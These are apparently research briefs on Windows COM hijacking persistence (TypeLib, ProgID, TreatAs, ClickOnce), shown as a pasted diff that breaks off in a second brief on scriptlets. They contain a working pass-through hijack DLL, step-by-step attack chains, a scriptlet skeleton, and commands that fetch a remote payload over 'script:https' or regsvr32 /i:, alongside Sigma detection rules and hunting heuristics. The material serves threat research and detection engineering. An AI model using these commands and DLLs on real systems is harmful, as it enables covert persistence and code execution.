### 2.7 TypeLib hijacking (oleaut32 automation marshaling) — REQUIRED
|
||||||
|
- Mechanics: Type libraries resolve from `HKCR\TypeLib\{LIBID}\<version>\0\win32|win64` (default = path to .tlb/.dll/.olb). Any Automation/`IDispatch` client (VBA, VBScript/JScript `GetObject`/`CreateObject`, .NET RCWs, Explorer.exe, OLE embedding) causes oleaut32 `LoadTypeLib()` of that path. **Shadowing win32/win64 in `HKCU\Software\Classes\TypeLib\{LIBID}\...` redirects the load — per-user, no admin.**
|
||||||
|
- Killer detail: the value accepts a **moniker string**. Setting it to `script:<path-or-URL>` runs a Windows Script Component (.sct) via scrobj.dll — including **remote** `script:https://...` scriptlet → fileless payload re-downloaded at every trigger.
|
||||||
|
- **ITW — ReliaQuest (March 2025 incidents, published April 2025; Black Basta / Storm-1811-affiliated operators):**
|
||||||
|
```
|
||||||
|
reg add "HKEY_CURRENT_USER\Software\Classes\TypeLib\{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}\1.1\0\win64" /t REG_SZ /d "script:hxxps://drive.google[.]com/uc?export=download&id=1l5cMkpY9HIERae03tqqvEzCVASQKen63" /f
|
||||||
|
```
|
||||||
|
`{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` = SHDocVw (Microsoft Web Browser control / IE) library. ReliaQuest observed **Explorer.exe references this object every time it runs** → payload auto-downloaded at every restart. MITRE updated T1546.015 in 2025 to add the TypeLib/"script:"-moniker variation, citing ReliaQuest.
|
||||||
|
- HackTricks discovery recipe: read LIBID from `HKCR\CLSID\{CLSID}\TypeLib`, read version from `HKCR\TypeLib\{LIBID}`, then create `HKCU:\Software\Classes\TypeLib\{LIBID}\{ver}\0\win32` = `script:C:\...\evil.sct` (JScript `<scriptlet>` that re-arms the main chain).
|
||||||
|
- Detection: any `TypeLib\...\0\win32|win64` value containing `script:`, `http:`, `https:` is "almost certainly malicious"; watch scrobj.dll loading into non-scripting processes; hunt `reg.exe` cmdlines containing `TypeLib` + `script`.
|
||||||
|
|
||||||
|
### 2.8 ProgID hijacking
|
||||||
|
- ProgIDs (`HKCR\<ProgID>\CLSID` → `{CLSID}`) shadowable in HKCU: create `HKCU\Software\Classes\<ProgID>\CLSID = {evil CLSID}`; any client instantiating by name resolves your class. Canonical demo: Casey Smith's squiblydoo — HKCU `Scripting.Dictionary` → `{00000001-0000-0000-0000-0000FEEDACDC}` → InprocServer32 = `C:\WINDOWS\system32\scrobj.dll` + `ScriptletURL` = remote .sct. Stability caveat: WinRM/slmgr.vbs break with VBScript runtime errors.
|
||||||
|
|
||||||
|
### 2.9 ClickOnce "undefined COM object" variant (CrowdStrike, 2025)
|
||||||
|
- During ClickOnce deployment, `rundll32.exe` calls `CoCreateInstance()` with a hardcoded CLSID not registered (dfsvc.exe normally registers it later via `CoRegisterClassObject`). Pre-registering that CLSID in HKCU with a LocalServer32 makes the DCOM-launcher svchost start the attacker's binary at next deployment — fileless capable (LocalServer32 can carry cmd.exe/script args), legitimate process tree, overwrites nothing. Limitations: only fires while dfsvc.exe not already running; adds 30–50s deploy delay. (CrowdStrike, "New Abuse of the ClickOnce Technology: Part 2.")
|
||||||
|
|
||||||
|
### 2.10 Auto-start host processes & other documented targets
|
||||||
|
- **explorer.exe:** MruPidlList `{42aedc87-...}`, MMDeviceEnumerator `{BCDE0395-...}`, TypeLib `{EAB22AC0-...}`, plus shell extension classes from NCC acCOMplice masterkeys.csv (e.g., `{69486DD6-C19F-42E8-B508-A53F9F8E67B8}`, `{9E175B6D-F52A-11D8-B9A5-505054503030}`, `{9BA05972-F6A8-11CF-A442-00A0C90A8F39}`).
|
||||||
|
- **Browsers/WebView2 (Chrome, Edge, Teams, OneDrive, M365):** SpecterOps "Revisiting COM Hijacking" (May 2025): `msedgewebview2.exe`, `msedge.exe`, `explorer.exe`, `chrome.exe` all query HKCU for `{54E211B6-3650-4F75-8334-FA359598E1C5}` (InprocServer32 = `%SystemRoot%\system32\directmanipulation.dll`, ThreadingModel=Both) and `{9FCBE510-A27C-4B3B-B9A5-BF65F00256A8}` — hijack yields execution inside browser processes with export-forwarding stubs (FaceDancer / Koppeling).
|
||||||
|
- **taskhostw.exe / Schedule service:** any user-context ComHandler task (§2.5).
|
||||||
|
- **Office/Outlook:** Turla TreatAs chain (§2.6); 3gstudent Invoke-OutlookPersistence.
|
||||||
|
- **Other ITW mapped to T1546.015:** Mosquito (Turla), Ferocious (WIRTE), ADVSTORESHELL (Shell Icon Overlay handler), KONNI (modified ComSysApp service), WarzoneRAT (`HKCU\Software\Classes\Folder\shell\open\command` + DelegateExecute), AUTHENTIC ANTICS (NCSC MAR: COM hijack inside Outlook), SILENTTRINITY.
|
||||||
|
- Watchlist CLSIDs (startupdefense): `{42aedc87-2188-41fd-b9a3-0c966feabec1}`, `{F3130CDB-AA52-4C3A-AB32-85FFC23AF9C1}`, `{E6D34FFC-AD32-4d6a-934C-D387FA873A19}`, `{3543619C-D563-43f7-95EA-4DA7E1CC396A}`.
|
||||||
|
|
||||||
|
### 2.11 Discovery tooling
|
||||||
|
| Tool | What it does | Where |
|
||||||
|
|---|---|---|
|
||||||
|
| **acCOMplice / COMHijackToolkit** (David Tulis, NCC Group; DerbyCon 9) | `Extract-HijackableKeysFromProcmonCSV`, `Find-MissingLibraries`, `Hijack-CLSID`, `Hijack-MultipleKeys` (frequency testing), COMinject PoC, procmon filters, masterkeys.csv | github.com/nccgroup/Accomplice |
|
||||||
|
| **COM-Hunter** (@nickvourd + @S1ckB0y1337; .NET + BOF v3.0) | Modes: `search` (HKLM/HKCU), `persist`, `tasksch`, `treatas`, `remove` | github.com/nickvourd/COM-Hunter |
|
||||||
|
| **Get-ScheduledTaskComHandler.ps1** (enigma0x3) | Enumerates scheduled tasks with ComHandler actions | github.com/enigma0x3/Misc-PowerShell-Stuff |
|
||||||
|
| **COMProxy** (leoloobeek) | Pass-through hijack DLL PoC | github.com/leoloobeek/COMProxy |
|
||||||
|
| **oleviewdotnet** (James Forshaw) | COM enumeration/analysis; "COM in 60 Seconds" talk | github.com/tyranid/oleviewdotnet |
|
||||||
|
| bohops' WMI one-liners | `gwmi Win32_COMSetting` + `cmd /c dir` existence check (finds orphans like mobsync.exe `{C947D50F-378E-4FF6-8835-FCB50305244D}` on 2008/2012) | bohops.com Part 1 |
|
||||||
|
| FaceDancer / Koppeling / SharpDllProxy | Export-forwarding stub generators | github.com/Flangvik/SharpDllProxy etc. |
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 3. Trade-craft: The Pass-Through (Proxy) Hijack DLL
|
||||||
|
|
||||||
|
Concept (leoloobeek, "Proxying COM For Stable Hijacks", Aug 2019): the hijack DLL exports `DllGetClassObject`/`DllCanUnloadNow`, **loads the original server from its HKLM path, and forwards the call**, so the client receives the interface pointers it expects and nothing breaks.
|
||||||
|
|
||||||
|
```cpp
|
||||||
|
// hijack.cpp — pass-through COM hijack server (skeleton)
|
||||||
|
#include <windows.h>
|
||||||
|
|
||||||
|
typedef HRESULT (STDAPICALLTYPE *_DllGetClassObject)(REFCLSID, REFIID, LPVOID*);
|
||||||
|
typedef HRESULT (STDAPICALLTYPE *_DllCanUnloadNow)(void);
|
||||||
|
|
||||||
|
static HMODULE g_hOrig = NULL;
|
||||||
|
static volatile LONG g_lPayloadDone = 0;
|
||||||
|
|
||||||
|
static BOOL PayloadAlreadyRan() { // mutex trick (SpecterOps)
|
||||||
|
HANDLE h = CreateEventA(NULL, TRUE, FALSE, "EVNT-48374635899");
|
||||||
|
if (h == NULL) return TRUE;
|
||||||
|
return (GetLastError() == ERROR_ALREADY_EXISTS);
|
||||||
|
}
|
||||||
|
|
||||||
|
static BOOL IsDesiredHost() { // optional process gating
|
||||||
|
wchar_t p[MAX_PATH]; GetModuleFileNameW(NULL, p, MAX_PATH);
|
||||||
|
wchar_t* b = wcsrchr(p, L'\\'); b = b ? b + 1 : p;
|
||||||
|
return (_wcsicmp(b, L"explorer.exe") == 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
static DWORD WINAPI PayloadThread(LPVOID) {
|
||||||
|
if (IsDesiredHost() && !PayloadAlreadyRan()) {
|
||||||
|
STARTUPINFOA si = { sizeof(si) }; PROCESS_INFORMATION pi;
|
||||||
|
CreateProcessA(NULL, (LPSTR)"C:\\Windows\\System32\\calc.exe",
|
||||||
|
NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi);
|
||||||
|
}
|
||||||
|
InterlockedExchange(&g_lPayloadDone, 1);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
|
||||||
|
BOOL APIENTRY DllMain(HMODULE hMod, DWORD reason, LPVOID) {
|
||||||
|
if (reason == DLL_PROCESS_ATTACH) {
|
||||||
|
DisableThreadLibraryCalls(hMod);
|
||||||
|
wchar_t orig[MAX_PATH] = L"C:\\Windows\\System32\\original_server.dll";
|
||||||
|
g_hOrig = LoadLibraryW(orig); // or read HKLM path via RegGetValue
|
||||||
|
QueueUserWorkItem((LPTHREAD_START_ROUTINE)PayloadThread, NULL, 0);
|
||||||
|
} else if (reason == DLL_PROCESS_DETACH) {
|
||||||
|
if (g_hOrig) FreeLibrary(g_hOrig);
|
||||||
|
}
|
||||||
|
return TRUE;
|
||||||
|
}
|
||||||
|
|
||||||
|
STDAPI DllGetClassObject(REFCLSID rclsid, REFIID riid, LPVOID* ppv) {
|
||||||
|
if (!g_hOrig) return CLASS_E_CLASSNOTAVAILABLE;
|
||||||
|
_DllGetClassObject p = (_DllGetClassObject)GetProcAddress(g_hOrig, "DllGetClassObject");
|
||||||
|
if (!p) return E_UNEXPECTED;
|
||||||
|
return p(rclsid, riid, ppv); // client gets REAL interface
|
||||||
|
}
|
||||||
|
|
||||||
|
STDAPI DllCanUnloadNow(void) { // leoloobeek "hold the door" trick
|
||||||
|
while (InterlockedCompareExchange(&g_lPayloadDone, 0, 0) == 0) Sleep(1);
|
||||||
|
_DllCanUnloadNow p = g_hOrig ? (_DllCanUnloadNow)GetProcAddress(g_hOrig, "DllCanUnloadNow") : NULL;
|
||||||
|
return p ? p() : S_OK;
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Exports (`.def`): `DllGetClassObject`, `DllCanUnloadNow` (+ `DllRegisterServer`/`DllUnregisterServer` for regsvr32-compat).
|
||||||
|
|
||||||
|
Complementary tradecraft:
|
||||||
|
- **Export forwarding for non-COM exports** (SpecterOps 2025): `#pragma comment(linker, "/export:DllGetActivationFactory=directmanipulation.DllGetActivationFactory,@3")` — generate with FaceDancer (`recon -I target.dll -G`) or Koppeling; SharpDllProxy automates.
|
||||||
|
- **ThreadingModel must match the HKLM original.** Mismatch: COM inserts proxy/stub marshaling between apartments (slow; can deadlock UI threads / `RPC_E_CANTTRANSMIT`); STA-expecting client may crash; worst case host crashes at load → detection. `Both` is safest when unsure.
|
||||||
|
- **DllMain constraints:** never block, never re-entrant CoCreateInstance, minimal loader-lock work — spawn a thread. Mutex/event gate against repeated instantiation.
|
||||||
|
- **.NET COMVisible assemblies as payloads:** register managed class with `regasm` — InprocServer32 = `C:\Windows\System32\mscoree.dll` with `Class`, `Assembly`, `RuntimeVersion`, optionally `CodeBase`; CLR loads your assembly. Pure managed payload, signed host DLL.
|
||||||
|
- **Reg-free COM:** activation-context manifests (`CreateActCtx`/`ActivateActCtx`, app-local manifests, Isolated COM) resolve classes from manifest files instead of registry — keeps persistence off the CLSID hive or weaponizes a planted manifest next to a side-loadable binary.
|
||||||
|
- **ScriptletURL / scrobj.dll registration:** InprocServer32 = `scrobj.dll` (signed) + `ScriptletURL` value = local/remote .sct → fileless-ish, default AppLocker bypass (squiblydoo, subTee). ScriptletURL keys are rare legitimately — detection gold.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 4. Attack Chains (step-by-step)
|
||||||
|
|
||||||
|
### Chain A — Per-user persistence via scheduled-task COM handler (MDSec/enigma0x3)
|
||||||
|
1. Enumerate: `Get-ScheduledTaskComHandler.ps1` or PowerShell snippet (§2.5) → user-context tasks with ComHandler + LogonTrigger.
|
||||||
|
2. Pick `{0358B920-0AC7-461F-98F4-58E32CD89148}` (CacheTask, wininet.dll, logon trigger).
|
||||||
|
3. Confirm HKLM registration + `ThreadingModel=Both`; confirm no HKCU shadow.
|
||||||
|
4. `New-Item HKCU:\Software\Classes\CLSID\{0358B920-...}\InprocServer32` → `(Default) = C:\Users\<u>\AppData\Roaming\...\stub.dll`; `ThreadingModel = Both`.
|
||||||
|
5. Drop pass-through stub DLL (forwards to `C:\Windows\System32\wininet.dll`).
|
||||||
|
6. Next logon: Task Scheduler fires CacheTask → taskhost resolves CLSID → HKCU wins → stub loads inside task host, payload thread runs, proxies everything to wininet.dll. No autostart entries, no broken task.
|
||||||
|
|
||||||
|
### Chain B — explorer-triggered audio enumerator (APT28)
|
||||||
|
1. Stage DLL: `%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-C4579291692E}\update.dll`.
|
||||||
|
2. `HKCU\Software\Classes\CLSID\{BCDE0395-...}\InprocServer32` = staged path; `ThreadingModel = Apartment`.
|
||||||
|
3. Every logon (and every audio-API use): explorer.exe instantiates MMDeviceEnumerator → attacker DLL executes in explorer context.
|
||||||
|
|
||||||
|
### Chain C — Fileless TypeLib hijack with remote scriptlet (ReliaQuest/Black Basta affiliate)
|
||||||
|
1. Identify high-frequency Automation library: `{EAB22AC0-30C1-11CF-A7EB-0000C05BAE0B}` (SHDocVw; Explorer.exe touches constantly), version `1.1`.
|
||||||
|
2. `reg add "HKCU\Software\Classes\TypeLib\{EAB22AC0-...}\1.1\0\win64" /t REG_SZ /d "script:https://<cdn>/payload.sct" /f` (or local `script:C:\ProgramData\update.sct`).
|
||||||
|
3. On next Explorer start / WebBrowser-control use, oleaut32 resolves the TypeLib → `script:` moniker runs SCT via scrobj.dll → payload re-fetched each time.
|
||||||
|
|
||||||
|
### Chain D — TreatAs redirect (Turla)
|
||||||
|
1. Register attacker class: `HKCU\Software\Classes\CLSID\{49CBB1C7-...}\InprocServer32` = backdoor.dll (+ThreadingModel=Apartment, ProgID "Mail Plugin").
|
||||||
|
2. Link legit class: `HKCU\Software\Classes\CLSID\{84DA0A92-25E0-11D3-B9F7-00C04F4C8F5D}\TreatAs` = `{49CBB1C7-...}`.
|
||||||
|
3. OUTLOOK.EXE instantiates → resolves attacker class. Legit CLSID's InprocServer32 never modified → evades naive detections (but see Sigma TreatAs rules).
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 5. Detection & Hunting
|
||||||
|
|
||||||
|
### 5.1 Registry telemetry
|
||||||
|
- Sysmon EID 12 (key create/delete), EID 13 (value set), EID 14 (rename). Target paths:
|
||||||
|
- `HKU\<SID>_Classes\CLSID\*` and `HKU\<SID>\Software\Classes\CLSID\*` (InprocServer32, LocalServer32, TreatAs, ScriptletURL, ProgID)
|
||||||
|
- `HKU\<SID>_Classes\TypeLib\*\0\win32|win64` (TypeLib hijack)
|
||||||
|
- `HKU\<SID>\Software\Classes\mscfile\shell\open\command`, `*\Folder\shell\open\command` (DelegateExecute)
|
||||||
|
- High-signal heuristics:
|
||||||
|
- InprocServer32 (Default) pointing outside `%SystemRoot%\System32`/`Program Files` → user-writable paths.
|
||||||
|
- HKCU CLSID shadowing HKLM CLSID with a *different* server path (baseline diff).
|
||||||
|
- Registered server path whose file does not exist (phantom/orphan).
|
||||||
|
- `TreatAs` written by non-svchost/non-Office; any `ScriptletURL` key creation.
|
||||||
|
- TypeLib values containing `script:`/`http(s):`; scrobj.dll image loads in non-script hosts.
|
||||||
|
- Process/cmdline indicators: `rundll32.exe -sta {CLSID}` (evasion: `-stagggg` suffixes still work), `verclsid.exe /S /C {CLSID}` (NickTyrer gist; seen in phishing), `xwizard.exe RunWizard /taero /u {CLSID}` (harr0ey), `mmc.exe -Embedding <file.msc>` (parent not svchost = suspicious), `reg.exe` with `TypeLib` + `script`.
|
||||||
|
|
||||||
|
### 5.2 Named rules
|
||||||
|
- SigmaHQ: `registry_set_persistence_com_key_linking.yml` (TreatAs subkey; cites bohops Part 2); `registry_set_treatas_persistence.yml`; `registry_set_persistence_search_order.yml`; `registry_set_persistence_com_hijacking_susp_locations.yml`; `registry_set_persistence_com_hijacking_builtin.yml`; detection.fyi also: "Modification Of Default System CLSID Default Value", "PSFactoryBuffer COM Hijacking", "Scrobj.dll COM Hijacking".
|
||||||
|
- Elastic prebuilt: `persistence_suspicious_com_hijack_registry.toml` (HKCU vs HKLM shadow diff).
|
||||||
|
- Splunk: "Eventvwr UAC Bypass" (mscfile HKCU write) + COM hijack analytics.
|
||||||
|
- VirusTotal LiveHunt YARA keyed on Sigma behaviour rule for CLSID COM hijacking (VT blog, Mar 2024).
|
||||||
|
- Atomic Red Team T1546.015 tests #1–#4.
|
||||||
|
|
||||||
|
### 5.3 Autoruns & blind spots
|
||||||
|
- Autoruns does not comprehensively enumerate HKCU CLSID shadows; hijacks launching via signed invokers hide behind Microsoft-signed entries. Registry-only persistence invisible until full hive diff. Recommend: periodic `reg export` of `HKCU\Software\Classes\CLSID` + `...\TypeLib` + `UsrClass.dat` diffed against gold image; cross-check Sysmon EID 7 loaded modules of explorer/svchost/taskhostw for DLLs outside System32.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 6. Research Methodology — Finding NEW Hijackable CLSIDs
|
||||||
|
|
||||||
|
1. **Static orphan/phantom sweep:** bohops method: `$inproc = gwmi Win32_COMSetting | ?{ $_.InprocServer32 -ne $null }; $paths = $inproc | %{$_.InprocServer32}; foreach ($p in $paths){$p; cmd /c dir $p > $null}` — "File Not Found" = orphan (repeat for LocalServer32; normalize args/env vars). acCOMplice `Find-MissingLibraries` automates; `Extract-HijackableKeysFromProcmonCSV` post-processes ProcMon captures.
|
||||||
|
2. **Dynamic dangling-reference discovery:** ProcMon filters: `Operation is RegOpenKey` + `Result is NAME NOT FOUND` + `Path ends with InprocServer32` (+ optionally process-name filter for target apps: msedgewebview2.exe, OUTLOOK.EXE, Teams.exe). Run during logon/app launches. Each hit = a CLSID a live process tries to activate that you can register in HKCU.
|
||||||
|
3. **Task-driven discovery:** `Get-ScheduledTaskComHandler.ps1` / ComHandler snippet → logon/idle-triggered user tasks = scheduled triggers.
|
||||||
|
4. **Frequency scoring:** ProcMon boot/session traces → count RegOpenKey hits per CLSID per process per hour; or ETW (Microsoft-Windows-COMRuntime / registry ETW); NCC acCOMplice `Hijack-MultipleKeys` = hijack several candidates with a logging DLL and count activations. Score = trigger frequency × host desirability (explorer/browsers/taskhostw > niche) × breakage risk.
|
||||||
|
5. **Stability validation harness:** implement pass-through DLL; unit-test with a COM client (leoloobeek ships TestCOMClient/TestCOMServer); soak-test real host (repeated launch/close, watch WerFault, UI hangs, proxy-marshal stalls); verify ThreadingModel matches HKLM; gate payload with mutex + host check; verify 32/64-bit hive placement; test DllCanUnloadNow so payload finishes before unload.
|
||||||
|
6. **Opsec review:** does it break anything user-visible (squiblydoo broke slmgr.vbs/WinRM)? Is payload path plausible? Would the CLSID survive a Windows update (favor third-party/abandoned/undefined classes — CrowdStrike's point)?
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## 7. Diagrams to Draw
|
||||||
|
1. HKCR merge & precedence: HKCU on top of HKLM funnel into merged HKCR; red HKCU shadow eclipsing HKLM original; "no admin required — merge at query time".
|
||||||
|
2. Classic hijack flow: Client (explorer.exe) → CoCreateInstance → combase registry lookup → HKCU InprocServer32 = evil.dll → LoadLibrary → DllGetClassObject → payload thread; greyed original HKLM path.
|
||||||
|
3. Phantom object: (a) orphan: CLSID → dotted line to missing file → attacker drops DLL at expected path; (b) undefined-but-referenced: NAME NOT FOUND → attacker creates CLSID → next query succeeds.
|
||||||
|
4. TreatAs redirect: Client → CoCreateInstance({A}) → HKCU TreatAs = {B} → {B} InprocServer32 → attacker DLL; "InprocServer32 of {A} never modified".
|
||||||
|
5. TypeLib hijack: Client → oleaut32 LoadTypeLib → HKCU TypeLib\{LIBID}\1.1\0\win64 = script:https://... → scrobj.dll → remote .sct fetched & executed; "ReliaQuest 2025 — Black Basta affiliate".
|
||||||
|
6. Pass-through stability: client ←(real interfaces)← attacker DLL → LoadLibrary(original) → original DllGetClassObject; payload thread to the side.
|
||||||
|
|
||||||
|
---
|
||||||
|
|
||||||
|
## REFERENCES
|
||||||
|
|
||||||
|
**Frameworks / canonical**
|
||||||
|
- MITRE ATT&CK T1546.015 Component Object Model Hijacking — https://attack.mitre.org/techniques/T1546/015/
|
||||||
|
- MITRE APT28 (G0007) — https://attack.mitre.org/groups/G0007/
|
||||||
|
- MITRE ComRAT (S0126) — https://attack.mitre.org/software/S0126/
|
||||||
|
- Microsoft: Merged View of HKEY_CLASSES_ROOT — https://learn.microsoft.com/en-us/windows/win32/sysinfo/merged-view-of-hkey-classes-root
|
||||||
|
- Microsoft: TreatAs key — https://learn.microsoft.com/en-us/windows/win32/com/treatas · Registration-Free COM — https://learn.microsoft.com/en-us/dotnet/framework/deployment/registration-free-com-interop
|
||||||
|
|
||||||
|
**Seminal offensive research**
|
||||||
|
- G-Data: COM Object hijacking — the discreet way of persistence (Oct 2014) — https://www.gdatasoftware.com/blog/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence
|
||||||
|
- bohops: Abusing the COM Registry Structure: CLSID, LocalServer32, & InprocServer32 — https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/
|
||||||
|
- bohops: Abusing the COM Registry Structure (Part 2): Hijacking & Loading Techniques — https://bohops.com/2018/08/18/abusing-the-com-registry-structure-part-2-loading-techniques-for-evasion-and-persistence/
|
||||||
|
- enigma0x3: Userland Persistence with Scheduled Tasks and COM Handler Hijacking — https://enigma0x3.net/2016/05/25/userland-persistence-with-scheduled-tasks-and-com-handler-hijacking/ · https://github.com/enigma0x3/Misc-PowerShell-Stuff/blob/master/Get-ScheduledTaskComHandler.ps1
|
||||||
|
- enigma0x3: "Fileless" UAC Bypass Using eventvwr.exe and Registry Hijacking — https://enigma0x3.net/2016/08/15/fileless-uac-bypass-using-eventvwr-exe-and-registry-hijacking/
|
||||||
|
- Hexacorn: Beyond good ol' Run key, Part 84 — https://hexacorn.com/blog/2018/04/24/beyond-good-ol-run-key-part-84/
|
||||||
|
- MDSec (Dominic Chell): Persistence Part 2 – COM Hijacking — https://www.mdsec.co.uk/2019/05/persistence-the-continued-or-prolonged-existence-of-something-part-2-com-hijacking/
|
||||||
|
- leoloobeek: Proxying COM For Stable Hijacks + COMProxy — https://adapt-and-attack.com/2019/08/29/proxying-com-for-stable-hijacks/ · https://github.com/leoloobeek/COMProxy
|
||||||
|
- David Tulis / NCC Group: acCOMplice + DerbyCon 9 — https://github.com/nccgroup/Accomplice · https://www.slideshare.net/DavidTulis1/com-hijacking-techniques-derbycon-2019
|
||||||
|
- pentestlab: Persistence – COM Hijacking — https://pentestlab.blog/2020/05/20/persistence-com-hijacking/
|
||||||
|
- 3gstudent: COM-Object-hijacking repo; Hijack Outlook — https://github.com/3gstudent/COM-Object-hijacking · https://3gstudent.github.io/backup-3gstudent.github.io/Use-COM-Object-hijacking-to-maintain-persistence-Hijack-Outlook/
|
||||||
|
- SpecterOps: Revisiting COM Hijacking (May 2025) — https://specterops.io/blog/2025/05/28/revisiting-com-hijacking/
|
||||||
|
- CrowdStrike: New Abuse of the ClickOnce Technology: Part 2 — https://www.crowdstrike.com/en-us/blog/new-abuse-of-the-clickonce-technology-part-two/
|
||||||
|
- James Forshaw: oleviewdotnet + "COM in 60 Seconds" — https://github.com/tyranid/oleviewdotnet
|
||||||
|
- TrustedSec CS-Situational-Awareness-BOF — https://github.com/trustedsec/CS-Situational-Awareness-BOF
|
||||||
|
|
||||||
|
**Tooling**
|
||||||
|
- COM-Hunter — https://github.com/nickvourd/COM-Hunter
|
||||||
|
- SharpDllProxy — https://github.com/Flangvik/SharpDllProxy
|
||||||
|
- hfiref0x/UACME — https://github.com/hfiref0x/UACME
|
||||||
|
- Atomic Red Team T1546.015 — https://github.com/redcanaryco/atomic-red-team/blob/master/atomics/T1546.015/T1546.015.md
|
||||||
|
- EVTX-ATTACK-SAMPLES — https://github.com/sbousseaden/EVTX-ATTACK-SAMPLES
|
||||||
|
|
||||||
|
**In-the-wild / vendor intel**
|
||||||
|
- Cisco Talos: "Cyber Conflict" Decoy Document (Sednit; MMDeviceEnumerator) — https://blog.talosintelligence.com/cyber-conflict-decoy-document/
|
||||||
|
- ESET: Turla Outlook backdoor — https://www.welivesecurity.com/2018/08/22/turla-unique-outlook-backdoor/ · https://www.welivesecurity.com/wp-content/uploads/2018/08/Eset-Turla-Outlook-Backdoor.pdf
|
||||||
|
- ReliaQuest: Hijacked and Hidden (TypeLib hijack, Black Basta affiliate) — https://reliaquest.com/blog/threat-spotlight-hijacked-and-hidden-new-backdoor-and-persistence-technique/
|
||||||
|
- FireEye/Mandiant: UNC2529 Triple Double — https://www.fireeye.com/blog/threat-research/2021/05/unc2529-triple-double-trifecta-phishing-campaign.html
|
||||||
|
- VirusTotal: COM Objects Hijacking (Mar 2024) — https://blog.virustotal.com/2024/03/com-objects-hijacking.html
|
||||||
|
- NCSC (UK): MAR Authentic Antics — https://www.ncsc.gov.uk/static-assets/documents/malware-analysis-reports/authentic-antics/ncsc-mar-authentic_antics.pdf
|
||||||
|
- HackTricks: COM Hijacking — https://hacktricks.wiki/en/windows-hardening/windows-local-privilege-escalation/com-hijacking.html
|
||||||
|
|
||||||
|
**Detection**
|
||||||
|
- SigmaHQ: registry_set_persistence_com_key_linking.yml — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_persistence_com_key_linking.yml
|
||||||
|
- SigmaHQ: registry_set_treatas_persistence.yml — https://github.com/SigmaHQ/sigma/blob/master/rules/windows/registry/registry_set/registry_set_treatas_persistence.yml
|
||||||
|
- SigmaHQ registry_set directory — https://github.com/SigmaHQ/sigma/tree/master/rules/windows/registry/registry_set/
|
||||||
|
- detection.fyi Sigma index — https://detection.fyi/
|
||||||
|
- Elastic: persistence_suspicious_com_hijack_registry — https://github.com/elastic/detection-rules/blob/main/rules/windows/persistence_suspicious_com_hijack_registry.toml
|
||||||
|
- Splunk: Eventvwr UAC Bypass — https://research.splunk.com/endpoint/9cf8fe08-7ad8-11eb-9819-acde48001122/
|
||||||
|
- KnowYourAdversary #111 (Black Basta TypeLib hunting) — https://www.knowyouradversary.ru/2025/04/
|
||||||
|
- HexaStrike: COM Hijacking from a Defender's Perspective — https://hexastrike.com/resources/blog/dfir/com-hijacking-from-a-defenders-perspective/
|
||||||
|
- SwiftOnSecurity sysmon-config — https://github.com/SwiftOnSecurity/sysmon-config
|
||||||
|
|
||||||
|
**Caveats:** (1) G-Data 2014 author name and Hexacorn Part 84 body not re-fetched (URLs/titles verified via multiple citations). (2) First CAccPropServicesClass/MMDeviceEnumerator write-up attribution fuzzy — bohops + 2019 Chinese blogs are verifiable; ITW (APT28/Talos) solid. (3) `{01575CFE-...}`, `{AB8902B4-...}` are training examples (RTO/COM-Hunter); friendly names unconfirmed. (4) "TeaTimer" has no COM persistence linkage (negative result). (5) CrowdStrike ClickOnce hardcoded CLSID value not printed in accessible excerpt — pull full blog for slides.
|
||||||
@@ -0,0 +1,217 @@
|
|||||||
|
# RESEARCH BRIEF: Remaining COM Attack Vectors — Execution/Defense-Evasion, PPL Injection, Relay Chains & Detection Engineering
|
||||||
|
|
||||||
|
## 1. COM Scriptlets & Squiblydoo (T1218.010)
|
||||||
|
- Origin: Casey Smith (@subTee), April 2016 — `regsvr32.exe /i:` passes a string to `DllInstall`; signed **scrobj.dll** fetches/parses a COM scriptlet (.sct) from a URL. PoC gist `Backdoor.sct` (gist.github.com/subTee/24c7d8e1ff0f5602092f58cbb3f7d302).
|
||||||
|
- Canonical: `regsvr32.exe /s /n /u /i:https://attacker/payload.sct scrobj.dll` — `/u`+`/i:` form needs no registry writes and no admin.
|
||||||
|
- Scriptlet skeleton:
|
||||||
|
```xml
|
||||||
|
<?XML version="1.0"?>
|
||||||
|
<scriptlet>
|
||||||
|
<registration progid="TESTING" classid="{A1112221-0000-0000-3000-000DA00DABFC}">
|
||||||
|
<script language="JScript"><![CDATA[
|
||||||
|
var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
|
||||||
|
]]></script>
|
||||||
|
</registration>
|
||||||
|
</scriptlet>
|
||||||
|
```
|
||||||
|
- Why AWL bypass: every binary (regsvr32 → scrobj.dll → jscript/vbscript.dll) is Microsoft-signed; regsvr32 is proxy-aware (WinHTTP). MITRE T1218.010.
|
||||||
|
- ITW: Leviathan/APT40, APT19, Deep Panda, TA551 (Valak), QakBot/Emotet/Dridex, Koadic, Covenant, Metasploit web_delivery.
|
||||||
|
- `/i:` also accepts local paths/UNC; .sct = Windows Script Component format shared with .wsc and the `script:` moniker (TypeLib hijack).
|
||||||
|
|
||||||
|
## 1.2 DotNetToJScript (Forshaw, 2017)
|
||||||
|
1. Builds bound delegate `Delegate.CreateDelegate(typeof(XmlValueGetter), assemblyBytes, Assembly.Load(byte[]))`.
|
||||||
|
2. Wraps in COM-invocable `HeaderHandler` delegate (contra-variance abuse) → `DynamicInvoke`.
|
||||||
|
3. BinaryFormatter-serializes delegate graph → Base64 into JScript/VBScript/HTA template with `entry_class` (default TestClass).
|
||||||
|
4. Runtime: script instantiates COM-visible mscorlib classes via ActiveXObject ProgIDs (`System.Runtime.Serialization.Formatters.Binary.BinaryFormatter`, `System.Collections.ArrayList`, `System.Text.ASCIIEncoding`, `System.Security.Cryptography.FromBase64Transform`):
|
||||||
|
```js
|
||||||
|
var fmt = new ActiveXObject("System.Runtime.Serialization.Formatters.Binary.BinaryFormatter");
|
